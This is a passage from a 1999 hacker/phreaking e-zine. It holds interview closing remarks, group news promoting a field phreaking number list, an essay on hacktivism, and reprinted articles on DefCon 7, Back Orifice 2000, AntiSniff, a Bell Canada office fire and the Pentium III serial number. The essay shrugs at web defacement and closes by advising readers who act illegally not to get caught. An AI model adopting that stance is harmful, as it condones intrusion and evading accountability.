out to skullY, kadafi, and vel0city for getting + me into Linux. Barkode has helped me out quite a bit on a personal + level. Pinguino has my undying thanks for who she is and everything + she's ever been to me, despite some of the problems we've had in the + past. Oh, and hi to Pesto and Runt, since the three of us (along + with skullY) are practically attached at the ass. + + + - Are there any other interesting things or general comments that you have +and wish to share? + + My thanks goes out to everyone who has ever supported us. All our + readers, all our artists (even those of you who did simple .diz + files for us), and all the people who have sent us e-mail and + feedback. We couldn't have done it without you. + + + - Thanks for agreeing to be interviewed Logic Box. + + +I'm sure that our readers will enjoy reading this interview and gain some +interesting insight about you and System Failure. We respect what SysFail +contributed to the scene over the years and recommend that our readers download +and read all of System Failure's releases. + +Before I conclude this interview, I'd just like to make a few short comments +about System Failure. It might not have been the most well known, respected +zine "in the scene". And it may not have lasted the longest or had the largest +readership. However, it was a quality publication that I personally read +loyally and enjoyed. I can honestly say that I looked forward to the release +of each issue and have respect for any group that can release a zine of that +standard over a time span of 2 years. In my view, System Failure's last six +issues or so were excellent and contained many interesting, intelligent, well +written articles on various topics. The highest compliment I can give is that +by reading SysFail, I learned about things that I otherwise may not have. So, +if your goal was to share and bestow knowledge upon people, I can assure you +that you succeeded in doing that. Thanks again for putting out a quality zine +and good luck in your future endeavours man. ;) + + +NEWS FROM THE TRENCHES - {NEWS} + +We've been updating the web site on a more frequent basis in recent weeks. +However, many areas are still under construction. Also, we still want payphone +pictures, so send in whatever you can. Thanks again to everyone that has sent +us telco related pictures. We greatly appreciate your efforts and contributions +in that area. Our web site's Payphones page has benefited and been enhanced by +the recent addition of new pictures. + +The Damage, INC. Phreaky Field Phreaking List Summer Edition was released on +June 30th. To obtain a copy, visit http://surf.to/damage_inc and download +DAM99SUM.ZIP from the Texts page. It's a must for anyone that field phreaks, +especially those without an 800 directory. Plus, it also contains many other +useful numbers from various NPAs, most of which are in Canada. Contact us at +damage_inc@disinfo.net if you want to contribute. + +I've released a files listing named the AJFA Archives. It's a list of files +from my now retired h/p board. You can request files by contacting me in Email +via blackened@disinfo.net. + +I have been in contact with several groups, including Wraith Tech Industries, +Phones of Zen, Hack Canada, etc. and we may work on some projects together in +the future. We've also given permission to hevnsent of Age of Thought and +Technology (http://listen.att) to use the Damage, INC. Phreaky Field Phreaking +List on At&t's web site, upon his request. If anyone else wants to distribute +our releases, please make sure you contact us first and give us credit. + +Look out for The Bell Chronicles by Damage, INC. It's in the works now. It +will be a new series of text files written about Bell Canada and released +sporadically in small, separate volumes. They'll definitely be damn phreaky. +In addition to having tidbits of Bell information, they include a Millennium +Payphone Phun section, filled with hilarious quotes from conversations. ;) + +We've had some problems with distribution in recent months. Boards that were +previously Damage, INC. Distribution Sites have been steadily disappearing. +So, if you run a board and want to support us by distributing our releases, +contact us. + +Milestone: We've finally broken the 10,000 hits barrier on the web site. +Remember to visit it often for news, updates, scans, texts, payphone pictures, +new editions of the Phreaky Field Phreaking List, etc. And don't forget to +join the Damage, INC. mailing list while you're on the site. + + +OBJECTIVE OPINIONS - {OPINIONS} +Hacktivism: The individual's tool against oppression. + +To clarify the title, Hacktivism can appear in many forms and Hacktivists +can be a group of people that combines forces using technology to work towards +a common goal, or it can be an individual working on their own towards a goal. +Each person has their own definition of what Hacktivism is, what it means, +what true Hacktivists are and has their own unique opinions on each. I could +have chosen any number of titles for this article, from "Hacktivism: The poor +man's tool", "Hacktivism: The intelligent person's tool" to "Hacktivism: The +modern activist's tool." And in a way, all of the above would be appropriate. +In order to make this article easier for those that are unfamiliar with the +term to understand, I'll give my personal definition of what Hacktivists are +and then I will explain Hacktivism by sharing my opinions and views of what it +means to me. + +Hacktivists - "Any individual or group of people that use technology to work + towards achieving a specific goal or fighting for a cause. The + means to which they work may be legal or illegal. The cause + may be political, but it is not restricted to political causes. + In fact, it can be virtually anything imaginable." + +Granted, that's a very broad definition that encompasses almost anything that +can be deemed "a cause". If it's any easier, think of Hacktivism as being +'Techno-Activism'... and the activists involved as being modern day activists +that use whatever technology is available to get their message across. They +aren't unlike the 60s activists. The only significant difference is that in +the 90s we have inexpensive, readily available technology that permits us to +reach a much wider audience. In the 1960s, it would have been difficult for +the average individual person lacking wealth to be heard, regardless of their +message. These days, with the technology that we possess, almost anyone with +very little resources can reach a large international audience, make contacts +around the world and try to enact change without spending a good chunk of change +to do so. :) + +Hacktivism can be protesting against something you disagree with, fighting +for a cause you believe in strongly... or simply using technology to raise +awareness about something. If you're a Hacktivist, you have an agenda. So, +in many ways it isn't that different from any else since everyone has some +kind of agenda. In most cases, it's a political agenda or cause... not unlike +the ones held by other, more mainstream political activists, except Hacktivism +involves technology to a greater degree. And the causes aren't as common and +mainstream as the ones that the average political activist is involved with. +Some might even describe the causes as being of the 'underground' variety. +And they might say that the methods of protest are 'unusual', since they can +be unique and thus don't fit the typical means of protesting. Hacktivism +doesn't involve protesting in the traditional "sign waving" sense. That's okay +though. Whatever draws attention to causes of importance, such as human rights +violations, can be criticized but mere criticism won't stop a determined +Hacktivist or group of Hacktivists from pursuing their goals. Anything that +gets people talking and attracts attention (positive or negative) to your +cause isn't going to hurt, especially if you have a low budget. Think of it +as free advertising. + +There are a lot of disillusioned, Generation-X kids out there that will read +this article and think I'm either preaching to them, or encouraging them to +go out and hack web pages. To anyone that has misinterpreted what I've written +so far to mean "Hack the CIA's web site and replace the logos with a huge +'Free Tibet' slogan", "Hack [insert media organization's site of your choice] +and put 'Free Kevin Mitnick' everywhere." or "Hack a Chinese government owned +site. Post 'Fuck Communism!' a thousand times along with adult pics and +'Hax0rs rule!' graphics." there probably isn't anything that I can write to +discourage you from doing that. If you're determined to do it, go for it. + +I will say that I'm not advocating that type of behaviour. That's not even +Hacktivism. Why not? It doesn't serve any purpose. It's not doing something. +In the end, it does nothing. It achieves nothing. The web pages are changed +back and it's forgotten. So why not think of an intelligent idea and try +another tactic that actually works? And why not choose a cause that isn't so +fucking trendy, overdone and popular while you're at it? Why not do something +that doesn't make people want to laugh and mock you for being pathetic? Why +not do something that makes a valued contribution and doesn't make people in +the scene puke in disgust? Seriously, the youth of this country *needs* causes. +That includes young people in the h/p scene. They need to stand up and fight +for something that they believe in (if anything). And they definitely have to +learn that they aren't anything (such as a Hacktivist), just because they claim +to be one. They also need to learn that "hax0ring" web sites... and replacing +the pages with shit (that only serves to make people laugh for 2 seconds) +isn't going to do anything positive at all. That's not the way to enact change. +That isn't the way to express your beliefs... And even if you insist that it +*is* indeed your way, that still doesn't mean it will ever get your message +across to anyone other than your own little circle of '14 year old hax0r +buddies'. If those are the only people you're hoping to affect and sway to your +side, then you have greater problems to consider. + +Hacktivism should be used for legitimate purposes, for real causes, to protest +serious things that matter. It's not a game. It isn't a video game. And it +isn't a toy. It shouldn't be the latest thing for AOL kids to take a passing +interest in and play around with in the same way they become bored with last +week's Nintendo 64 game. Hacktivism is real and depending on the extent that +you take things, it can have some real gains and real consequences. + +In closing, it's your choice whether or not you become a Hacktivist. It +definitely isn't for everyone. Nor should it be. But it is a tool that's +available to us whenever we want to fight against something such as censorship, +human rights violations, Big Brother and the oppression of people. In the +very least, it's something to think about and consider as an option. Never +forget that it is your right to protest. Of course, no matter what the issue +is or how hard you fight, there's no guarantee that you'll yield any results +whatsoever. But those are the breaks. Hopefully this article has at least +given you some indication as to what Hacktivism is about. I couldn't possibly +hope to describe it as well as Oxblood Ruffin of cDc did though... as his essay +was so clear, well written and descriptive that it was poetic. However, I've +tried to get my point across and share my opinions on the topic. And that's all +that can be expected. Lastly, if you want to become involved with a certain +cause, and you have no experience with it, contact an existing organization +before doing something illegal and stupid. And if you do end up doing something +that isn't exactly legal, don't get caught. Those are the only words of advice +that I have for you, so I'll quit ranting. :) + + +Acknowledgements: cDc for coining the term Hacktivism. + Oxblood Ruffin's 'Chinese Checkers' cDc issue #361 + + +Written by Blackie Lawless ú Damage, INC. (C)opyright 1999. + + +REPORTS FROM THE FRONT - {REPORTS} +An assortment of interesting articles. + +I decided to include a few articles covering DefCon 7 in Las Vegas, the +Black Hat Conference, the release of cDc's Back Orifice 2000, and the release +of the L0pht's AntiSniff security tool. In addition to those articles, there's +the comical 1999 Darwin Award Nominees... Not surprisingly, a Canadian telco +employee (Northern Manitoba Signal Relay) was named as the winner for 1999. +We've also included a hilarious article concerning a recent explosion and fire, +that was started by a Bell Canada employee at a Bell Central Office in Toronto. +Since it caused problems nationwide, I thought it deserved to be published. +Good work Bell! My comments are contained in square brackets. + +------------------------------------------------------------------------------- + +Wound-Up DefCon Winds Down +by Polly Sprenger +DefCon 7 wraps with media-hacker showdowns and high-energy presentations. +Polly Sprenger reports from Las Vegas. + +LAS VEGAS -- The seventh annual DefCon hacker convention drew to a close Sunday, +after a weekend of uninterrupted sensory overload. + +The event was marked by massive enthusiasm over the release of a new remote +administration tool from the much-heralded Cult of the Dead Cow, and the +quizzical expressions on the faces of the media as they attempted to grasp +"the meaning" of DefCon. + +The CDC [ahem, cDc] presentation featured a maelstrom of digital effects and +technomusic that captured the energy of the three-day event. + +ABCNews.com's Michael Martinez presented a talk on the persistent rift between +hackers and the press on Saturday. He provided a forum for hackers to confront a +member of the tech media with questions like, "Since all these reporters want to +learn to be hackers, why don't they just hire hackers to be reporters?" + +Martinez said that hackers had difficulty getting mainstream media to +understand their message and perspective because so often communication breaks +down between the two groups. + +"We know the how, the where, and the when," Martinez said. "But why? You +complain that we don't get it, and we complain that you won't let us." + +Sunday morning and afternoon sessions were punctuated with rousing rounds of +"Spot the Fed," the annual DefCon game of outing federal agents. + +Anyone identified as a Fed was brought up on stage for questioning. The +suspected Feds, all of whom were more than willing to whip out badges after a +few minutes of interrogation, were dressed almost universally in polo shirts +and khakis, their crew-cut stiffness a striking contrast to their black-clad +accusers. + +The audience hurled questions at them like, "Does your office have a ban on +Furby's?" and "What does Dana Scully [the fictional X-files agent] really look +like?" One Fed lost all hope of going undetected by responding, "Never heard of +him." + +The day hit high gear with the release show for BO2K, or Back Orifice 2000, one +of the few software announcements that required a sign posted on the door +warning that the presentation might be dangerous to people with heart +conditions. + +Nineteen of the 20 revered CDC [cDc] members were present on stage, the most +ever assembled in one place. The group took an older-but-wiser tone in its +reverberating remonstrations to the audience. + +"Pick the cause before you pick the site you're gonna hack," the group advised, +"and use a fuckin' spell checker!" + +------------------------------------------------------------------------------- + +Fear and Hacking in Las Vegas +by Polly Sprenger +Hackers are in Sin City to share secrets, party at all-night raves, and try to +figure out who among the T-shirted crowd is actually a snooping federal agent. +Polly Sprenger reports from Las Vegas. + + +LAS VEGAS -- The sun rose Friday morning on the first day of Def Con, the annual +hacker conference, with labor crews hosing down the parking lots and the +highways. + +Workers were dealing with the aftermath of an unexpected thunderstorm that shut +down the airport Thursday and left the city sunk in a thick layer of mud. + +More than 600 of Def Con's 6,000 expected attendees were already in town for the +Black Hat security conference. + +The timing was unfortunate, however. Next door to the predominately +male-attended Black Hat conference was a teenage dance competition, where, after +spending the day listening to talks on security issues, attendees could watch +adolescent dancers shaking their groove thang. + +"Someone's gonna get arrested," sighed Chris, from Toronto, in the bar of the +nearby Hard Rock Cafe later. + +But by mid-morning, hackers shook off their Thursday night hangovers to descend +on the convention hall. Hacker groups and enthusiasts did a brisk trade in +T-shirts, hacker equipment, and zines. + +As a TV crew cruised the hall, an organizer asked everyone to be mature and not +deface the camera. + +"Be good, and next time Mom will let you wear the big pants," he said to the +youthful, baggy-panted crowd. + +Convention-goers were testing their competitive side in the sixth annual Spot +the Fed contest (several agents were outed by early afternoon), and by donning +inflatable sumo wrestling suits for a little all-in-fun mock violence. + +"Always wanted to beat up some punk on the mailing list? You really hate the +person who always argues with you?" Def Con organizers asked. "How about media +vs. the underground? Or feds vs. hackers? We've rented giant inflatable sumo +suits for you to do battle." + +T-shirts like "I miss crime" and "I hate stupid people" caught approving glances +from the crowd, while a photographer wandered around the room snapping shots of +any available woman for the "Babes of Def Con" photo album. + +Outside the smoky, crowded hall, a group of younger attendees was gleefully +stringing cable from hotel room to hotel room, beefing up the paltry connection +offered by the Alexis Park convention center and resort. + +The "day in the sun" feeling was soured a bit as a group of security enthusiasts +posted "wanted" signs accusing John P. Vranesevich, founder of AntiOnline, of +criminal activities. They accuse the computer security pundit of paying crackers +to hit sites in exchange the scoop. + +Vranesevich and his supporter, Happy Hacker Carolyn Meinel, vocally deny that he +has done anything wrong, and point the finger back at [www.attrition.org] the +accusers, who have posted material about Vranesevich on their Web site. + +The controversy escalated last week, when a popular site for security +information, PacketStorm, was removed from its host server at Harvard after +university officials were told that the site had negative and allegedly +libelous information about Vranesevich on it. + +But according to Brian Fite of HSK, the tension only adds another dimension of +excitement to the goings-on. + +Also on the underground agenda is a party to announce the "launch" of Back +Orifice 2000, a hacking tool for Microsoft Office 2000; a formal black-and-white +ball where T-shirts will be traded in for tuxes; and assorted, sordid all-night +raves. + +------------------------------------------------------------------------------- + +Inside Def Con + +An insider's report on Las Vegas's annual hacker convention. +By Annaliza Savage + + I can hardly believe that Def Con 6 has come and gone. Who, of the 75 or so +people that attended Def Con 1, would have thought that this small hacker +gathering would turn into such a huge event? This year there were probably 2,000 +people milling around, not all hackers though. + +In my estimation the ratio broke down to about 25 percent journalists and film +crews, 25 percent headhunters and corporate agents, 25 percent wannabe lamers, +10 percent federal agents and 15 percent old school hackers. + +Having attended Def Con 1, 2 and 3, boycotted Def Con 4 and 5, only to return +this year to Def Con 6, I still haven't decided how I feel about the increasing +body count. As much as I'd like to slag off the whole thing for its +commercialism, I still had a fantastic time catching up with people I hadn't +seen for ages. + +Now if you've never been to Def Con, or any hacker con, let me fill you in. The +point of a hacker conference is to meet people face to face, exchange +technology, and generally have a laugh. + +Most of the knowledge exchange happens in hotel rooms or at the bar. Hacker cons +are generally filled with mayhem, a few pranks, and-- when the younger +generation invades-- well, some really stupid things have been known to happen. +The older hackers roll their eyes and say, "Geez, don't their parents ever let +them out?" + +On my way to Def Con, I sat on the airplane with Aleph One, lamenting the days +of old when cons were an intimate affair. We both attended the first Def Con, +and we're both kinda cynical about the way the underground has gone. A lot of +people have latched on because it's now cool to be a supposed (media-generated) +"outlaw hacker," not because they are generally interested in the technology. +Having said that it is really amazing to see where a lot of those brilliantly +smart people are at six years later (the ones we've kept track of from +Def Con 1). One is a computer game programmer, one is a cellular phone engineer, +a few are top computer security experts... as far as I know almost all are +working in the industry and doing really well. + +But getting back to the present: So what were interesting things happened at +this year's Def Con? + +The Cult of the Dead Cow released Back Orifice. A hacker that I won't name, (but +had an atom shaved into the back of his head) got led away by someone with a +Department of Corrections patch on his uniform. I saw one guy being taken away +by paramedics. A lot of the hacker stars were there, including The L0pht boys, +r00t, the NewHackCity crew, and 2600 magazine. And let me tell you, having sat +down and spoken to a lot of these guys, there are a lot of interesting projects +in the works. I'd tell you what they were, but then I'd have to kill you. + +Will I go again next year? We'll see. + +------------------------------------------------------------------------------- + +LAS VEGAS -- Uncle Sam wants you -- to help protect America from cyberattacks. +That was the message delivered by Jeffrey Hunker, one of the Fed's top +information protection officials, at a speech Wednesday at the Black Hat +Briefings computer security conference. + +As the National Security Council's director for information protection, Hunker +is developing the nation's strategy against cyberterrorists, hackers, electronic +spies, and other threats to its information infrastructure. That encompasses +everything from transportation to banking to health care and government. + +Crackers Knock, Don't Get In + +Defending that vast and increasingly vulnerable infrastructure will require +unprecedented cooperation between government and the private sector, Hunker said +to some 600 information technology professionals gathered in the counterfeit +Italian opulence of the Venetian casino-hotel. + +"A number of nations that are hostile to the [United States] and several well- +financed terrorist groups, and quite arguably a number of organized crime +groups, are systematically developing capabilities to attack US information +systems. That's something both new and frightening." + +The government boosted Hunker's budget 40 per cent next year to US$1.5 billion. +Projects will include technical research and development, and a new college +scholarship program for information technology students who promise to work for +the government after graduation. + +More controversially, Hunker is also charged with bringing together law +enforcement, government intelligence agencies, and the private sector to share +information and expertise on security issues. + +"For the first time, it's not just an issue of protecting US bases against +Soviet missiles," said Hunker. "It's about protecting US companies." + +In years past, private companies would deal with security breaches on their own, +without bringing in the government or law enforcement, Hunker said. + +"That was perfectly fine when you're dealing with disgruntled insiders or +individual hackers," he said. "It's totally inappropriate when we're dealing +with a world where what you're experiencing might be one facet of a much larger +intelligence or terrorist or national security threat." + +Despite Hunker's assurances that civil liberties will not be sacrificed in the +pursuit of cyber safety, the notion of the government sharing security +information with private companies set off alarms with many listeners. + +"It's nice that he paid lip service to the idea of civil liberties, but I don't +buy it," said Christina Bird, a privacy expert with >Secure Network Group. + +"He talked a lot about threats from abroad, but not about here in the US, +because they want to underplay how much they want to monitor us," she said. +"I'm hoping this program will be as ineffective as most of what the government +does." + +Derek Tongue, an information systems security officer with the US Army, sees +even darker forces at work. + +"I think the prophecies in Revelations are taking place now, and the Internet +is a tool," Tongue said. "With e-commerce, the FBI, the CIA will be able to find +where you are, what you're buying, what hotel you're staying in. Everyone will +have the mark of the beast. What [Hunker] is talking about is part of that." + +------------------------------------------------------------------------------- + +L0pht Releases AntiSniff +The Boston-based security collective unveils its second commercial tool, which +monitors your network for suspicious activity. +By Polly Sprenger. + +A group of hackers in Boston released a public beta of its second commercial +product Friday. Called AntiSniff, the program monitors networks for "sniffers," +tools used by malicious hackers to extract data from systems they are attacking. + +The group of seven security experts goes by the name L0pht Heavy Industries. +Their first commercial product, L0phtCrack, is a fast and powerful Windows NT +password-cracking program that group member "Weld Pond" says is even used by +Microsoft's security team. + +AntiSniff monitors networks by scanning for patterns a cracker might leave while +discreetly monitoring data stored on or passing through a network. This practice +of "packet sniffing" leaves trails that AntiSniff can detect, the group said in +a statement released Friday. + +The first beta of the product is available for a free download from the group's +Web site. L0pht will sell the final release of AntiSniff for Windows NT for a +yet-to-be-determined price. A UNIX version of the product, not yet available, +will be free. + +------------------------------------------------------------------------------- + +Coming Soon: Back Orifice 2000 + +An underground computer security group is poised to release a new version of a +notorious software program that could allow crackers to watch and listen in on +Windows-based PC users. + +The Cult of the Dead Cow said it will release Back Orifice 2000 on 9 July -- at +the annual Def Con convention in Las Vegas. + +"This will demonstrate that Microsoft's operating systems are completely +insecure and a bad choice for consumers and businesses who demand privacy," said +Oxblood Ruffin, a former United Nations consultant and current Cult of the Dead +Cow spokesman. + +Back Orifice a Pain in the ...? + +Def Con is perhaps the most unusual gathering in the computer security field. +Hackers, crackers, and self-proclaimed security experts will mingle with media, +security professionals, federal law enforcement officers, and "script kiddies" +who deface Web pages with prefab cracking code. + +Security groups of all stripes use the occasion to release software and show off +gadgets. But Back Orifice 2000 is perhaps the most anticipated item. + +Unlike previous versions of the software, Back Orifice 2000 will run on Windows +NT and feature strong encryption and a modular architecture that the group said +will allow hackers and other security groups to write plug-ins. + +The program will be released as open source to encourage further development by +the security community. + +Back Orifice, released at last year's Def Con, may allow malicious users to +monitor and tamper with computers without the permission or knowledge of their +owners. + +The program is classified as a Trojan Horse because crackers need to dupe the +user into installing an application on their hard disk. Despite this, Oxblood +Ruffin said that the program is currently installed on up to a half-million PCs +worldwide. + +Though that number could not be independently verified, an Australian computer +security group last November said that 1,400 Australian Internet accounts have +been compromised by Back Orifice. + +Back Orifice 2000 also promises to be a great deal more difficult to detect than +its predecessor because it enables users to configure its port setting. +Previously, intrusion detection and antivirus programs could detect Back Orifice +because it used a default port setting of 31337. + +A Microsoft Windows NT Server security manager said the company is closely +monitoring Back Orifice development and is working with antivirus and intrusion +detection software vendors to provide customers with utilities to combat the +software. + +------------------------------------------------------------------------------- + ______________________________________________________________________ + _ _ + BACK ORIFICE 2000 ((___)) BACK ORIFICE 2000 + show some control [ x x ] show some control + \ / + (' ') + (U) + + ________________________ http://www.bo2k.com/ ________________________ + + FOR IMMEDIATE RELEASE FOR IMMEDIATE RELEASE + +Press Contact: + The Deth Vegetable + cDc Minister of Propaganda + veggie@cultdeadcow.com + + BACK ORIFICE 2000, THE ONLY WAY TO CONTROL A MICROSOFT NETWORK + +[July 2nd, San Francisco] The CULT OF THE DEAD COW (cDc) will debut its +latest remote network administration tool called Back Orifice 2000 on July +10th at Defcon VII in Las Vegas. This program is the most powerful +application of its kind and puts the administrator solidly in control of +any Microsoft network. + +Back Orifice 2000 is a best-of-breed network administration tool, granting +sysadmins access to every Windows machine on their network. Using Back +Orifice 2000, network administrators can perform typical desktop support +duties without ever leaving their desk. + +Some notable features include: + + * Windows NT support (as well as Windows 95 and 98) + * an open plugin architecture to allow for 3rd party add-ons + * strong cryptography to ensure secure network administration + * open source, available under the GNU Public License + +"It's a totally professional tool. Essentially it sews together Microsoft +networks in ways that were never possible before," says Mike Bloom, Chief +Technical Officer for Gomi Media, Toronto. "BO2K is a control freak's dream +and the strong crypto feature gives the legitimate administrator a level of +confidence that just didn't exist before. It's one kickass app". + +Back Orifice 2000 evolved from Back Orifice (the name itself a pun on the +"Back Office" server suite from Microsoft), released by the cDc at last +year's Defcon. + +Back Orifice 2000 was written by cDc code monster Dildog with input from +Sir Dystic, the originator of Back Orifice. + +According to Dildog, "When it comes to administering Windows networks, the +most problematic thing has always been the lack of powerful remote control. +Unix administrators have enjoyed remote logins for decades, and with the +dawn of tools like Secure Shell (SSH), Unix systems can be securely +administered from anywhere in the world. Windows needed it too." + +"Now that we've enhanced the Windows administration experience, we hope +that Microsoft will do its best to ensure that its operating systems are +robust enough to handle the control we've given to them," added Dildog. + +If last year's release of Back Orifice is any indicator, Back Orifice 2000 +will be a huge success. The first generation app caused quite a stir with +the hacking community and the press. The Cult of the Dead Cow's webmaster +reported a whopping 300,000 downloads from the primary and mirror sites, +and predicts that Back Orifice 2000 will move briskly into the Microsoft +networking environment. + +That's good news for network administrators but not the best news for +Microsoft. Sysadmins will have at their disposal a professional open-source +application, free of charge. Unfortunately for Microsoft, Back Orifice 2000 +could bring pressure on the software leviathan to finally implement a +security model in their Windows operating system. Failure to do so would +leave customers vulnerable to malicious attacks from crackers using tools +that exploit Windows' breezy defenses. + +Back Orifice 2000 will be available for download free of charge from +http://www.bo2k.com/ after July 10th, 1999. + +............................................................................ + +The CULT OF THE DEAD COW (cDc) is the most influential group of hackers in +the world. Formed in 1984, the cDc has published the longest running e-zine +on the Internet, traded opinions with large software companies, and entered +numerous dance competitions. We could go on, but who's got the time? + +For more background information, journalists are invited to check out our +Medialist at http://www.cultdeadcow.com/news/medialist.htm. + +Cheerio. + +"Microsoft", "Windows", "Back Office", "Sysadmin", "Desk", and "Leviathan" +are all trademarks of the Microsoft Corporation. Blah blah blah, give it a +rest already. + + "cDc. It's alla'bout style, jackass." + +------------------------------------------------------------------------------- + +Bell Canada Central Office in Toronto Burns: + +A fire at a Canadian telephone switching building disrupted Internet, telephone, +and emergency services systems throughout the country Friday. An explosion on +the fourth floor at Toronto's Bell center at around 8 a.m. knocked out phone +lines, Internet service, ATM machines, and credit card servers throughout the +city of 2.4 million, eyewitnesses and fire department officials said. "It +knocked out a lot of the city's communication's equipment," said Toronto Fire +Department division commander Patrick McCabe. "Nearly 110,000 phone lines were +out and our 911 system was in jeopardy for a time." + +[Bell attempted to deny the fact that the fire was responsible for the above.] + +The three-alarm fire erupted when a Bell Canada worker accidentally dropped a +tool into an electrical unit, causing an explosion. + +[What a fuckin' tool. They're just another typical Bell Canada employee.] + +The fire department estimates the damages at more than US$500,000 (CN$750,000). +Battery-powered backup systems kicked in immediately after the explosion. But +the batteries ran down a few hours later. + +[Bell will probably raise the local rates again to "recoup the cost of the +damages." And the batteries definitely didn't last for hours, so that's +another blatant lie.] + +The blaze was under control by late afternoon, after 12 fire trucks and 75 +firefighters responded. One person suffered burns on his arms but is in stable +condition, officials said. The Bell Canada building housed "an instrumental +local switch, to banks, credit card networks and Internet servers," said Mike +Pegg, an Internet support manager for AT&T Canada, whose work was interrupted by +the fire. + +[Too bad it didn't burn to the ground.] + +The explosion briefly forced the Toronto Stock Exchange to suspend trading. It +reopened hours later and business quickly resumed, but some communication +problems continued, according to Canadian Broadcasting Corporation news reports. +The power failure nearly paralyzed some local businesses. + +[I thought the backup systems kicked in immediately after the explosion? ;)] + +"We went into a restaurant for lunch and people were going crazy," Pegg said +from his office phone. "They were trying to pay for their lunch with credit +cards but the network was down. I couldn't get money out of the bank machine." +The system failure reached Ann Arbor, Michigan, where companies like Fame +Information Services, a financial data provider with a Toronto branch, grappled +with communication problems. "We noticed that our data circuit, our private +data connection between here and there, went down at 10:23 a.m.," said network +engineer Majdi Abbas. "We called and we couldn't get through to anyone in that +branch." The Bell Canada central office is the local telecommunications base +connecting subscriber home and business lines to a local loop. The central +office has switching equipment that can route calls locally or hand them to +long-distance carrier phone offices. Bell Canada says it hopes to have all +services restored before the end of the day. + +[Haha. I'd be surprised if Bell Canada had services restored by the end of +the year. Of course, they'll never admit that the problems were as widespread +as they were or last as long as they did. They just "hope" to have all services +restored before the end of the day, which they weren't. Liars.] + +------------------------------------------------------------------------------- + +Bell Atlantic Mobile Applauds FCC Action on 'Calling Party Pays' + +June 10, 1999 + +Media contact: +Nancy Stark, +(908) 306-6762 + +BEDMINSTER, N.J. -- Bell Atlantic Mobile praised today's Federal +Communications Commission (FCC) action to move Calling Party Pays +(CPP), an option allowing wireless customers to choose to have callers +pay for the call, one step closer to reality. Currently in the US, +wireless customers pay for both outgoing and incoming calls. + +"The leadership of Chairman Kennard and the Commissioners on Calling +Party Pays is a giant step forward for wireless consumers, who today +number one out of every four Americans and growing," said Dennis +F. Strigl, President of Bell Atlantic's Wireless Group and CEO of Bell +Atlantic Mobile. "CPP will make wireless immediately more valuable +for current consumers, more affordable to those who do not yet have +wireless, and more competitive with landline service." + +Strigl and Bell Atlantic have long been proponents of CPP, which is +the norm for wireless service outside the US. The company has offered +the option on a local basis for several years through a wireless +subsidiary it operates in the Phoenix area. Bell Atlantic Mobile +plans to offer CPP by the end of the year. + +Bell Atlantic Mobile owns and operates the largest wireless network in +the East, covering 120,000 square miles, and the largest chain of +retail outlets devoted exclusively to wireless voice, data and paging. +Based in Bedminster, NJ, Bell Atlantic Mobile has 6.4 million +customers and 8,000 employees from Maine to Georgia and, through a +separate subsidiary, in the Southwest. Through its "Wireless at +Work ..." community service program, the company uses its technology to +help individuals and communities improve security and emergency +communications. Bell Atlantic Mobile's parent, Bell Atlantic +Corporation (NYSE:BEL) is one of the world's largest wireless +communications companies, with domestic operations in 25 states and +international investments in Mexico, Europe and the Pacific Rim. For +more information on Bell Atlantic Mobile visit: www.bam.com; on global +operations visit: www.bellatlantic.com/worldwid. + +------------------------------------------------------------------------------- + +Faults & Failures + +Pentium serial number pains privacy groups + +Once again, Intel Corp. has found itself in the public-relations hot seat. The +Santa Clara, Calif., company has hardwired into each Pentium III microprocessor +chip a unique serial number that is accessible over the Internet and private +networks. Announced in January of this year, the feature was lauded by Intel as +a way for organizations to enhance security and manage equipment and +information. + +Privacy groups were outraged. They demanded that the Santa Clara, Calif., +company immediately disable the processor serial number (PSN). Instead, Intel +developed a utility enabling users to control which software programs or Web +sites they would permit to read their PSNs. PC makers installing the Pentium +III in their machines had the software distributed to them. Other customers +could find it on Intel's Web site: www.intel.com. + +Alas, the utility turned out to be hackable. Within weeks, at least two groups +had found ways of circumventing it and gaining access to the serial number +without the PC owner's consent or knowledge. + +The Pentium III's PSN is set at the time of manufacture and resides in a +register on the chip. Intel spokesperson Howard High told IEEE Spectrum that +the first 32 bits of the 96-bit number identify the processor--information used +by operating systems to determine which kind of CPU they are dealing with. The +remaining bits are culled from lot and batch numbers and other information +unique to the chip. (Intel was unwilling to reveal more details about how it +derives the serial numbers or writes them into registers on the chip.) + +One of the bits in the register is a so-called sticky bit: it can be switched +only once and will remain in the switched position until the processor is +powered off, explained High. The register is designed so that the serial number +cannot be read out if the sticky bit has been switched. Switching the sticky +bit shuts down access to the number until the chip is rebooted. It is this +feature that the control utility uses to block access to the serial number. + +It is the same feature that inquisitive software engineers, not convinced that +the program was foolproof, used to get around the utility and access the serial +number. In February, the German magazine c't magazin fur computer technik +reported that its processor expert, Andreas Stiller, had figured out a way to +take the command for reading out the serial number and turn it back on after a +user had thought it had been turned off. + +Shortly afterward, Montreal-based privacy software company Zero-Knowledge +Systems Inc. posted a demonstration of the utility's vulnerability on its Web +site. Visitors to the site can run an ActiveX program that bypasses the control +utility on their ow machines, fetches the serial number, and posts it on a Web +page displayed on the visitor's screen. + +"What happens is that Intel's utility runs very late in the start-up process," +explained Austin Hill, president of Zero-Knowledge. "So any time there is code +on the machine that simply asks for the serial number before [the control +utility is activated], a hacker can store the number in memory and then do +whatever he wants with it." + +On learning of this exploit, Intel turned to Symantec Corp., which produces +Norton Utilities, the popular anti-virus software. Intel asked Symantec, in +neighboring Cupertino, to develop a patch warning visitors to the +Zero-Knowledge Web site that if they attempted to run the demonstration, they +would download a virus. + +Hill contends that his demonstration is neither a virus, nor a so-called Trojan +Horse, nor hostile code. But he is concerned that users could be lulled into a +false sense of security if they believed that the anti-virus program was +protecting them from unauthorized access to the number, when in fact, it is +looking only for the Zero-Knowledge demonstration. + +Intel acknowledges its utility is not foolproof. High told Spectrum that a more +secure way of protecting against unauthorized access is to turn it off in the +basic I/O system, or BIOS, which is the first thing to be activated when the +machine boots up. (The BIOS is a set of instructions for controlling system +hardware, usually contained in a ROM.) + +Now, in what appears to be Round 3, computer scientists at Zero-Knowledge have +found that the serial number can be enabled without a user's permission, even +if it is turned off in the BIOS. "That is even more of a concern," said Hill, +"Because Intel and the PC manufacturers had come out and said 'Don't worry, by +default we are shipping [machines with access] off in the BIOS so that is no +privacy concern.'" + +Hill told Spectrum that his company had tried to discuss with Intel how to fix +the BIOS, but has yet to get a response from the chip giant. "So I think we are +going to have to release a detailed description of how we get around the BIOS +just so that people are aware of what is possible and what is not." + +Privacy groups worry that the serial number will be used to track consumers' +activities on the Internet. The Electronic Privacy Information Center (EPIC), +Washington, D.C., argued that the number was designed to link users' activities +on the Internet for marketing and other purposes. + +To address these concerns, Intel has worked with security tool 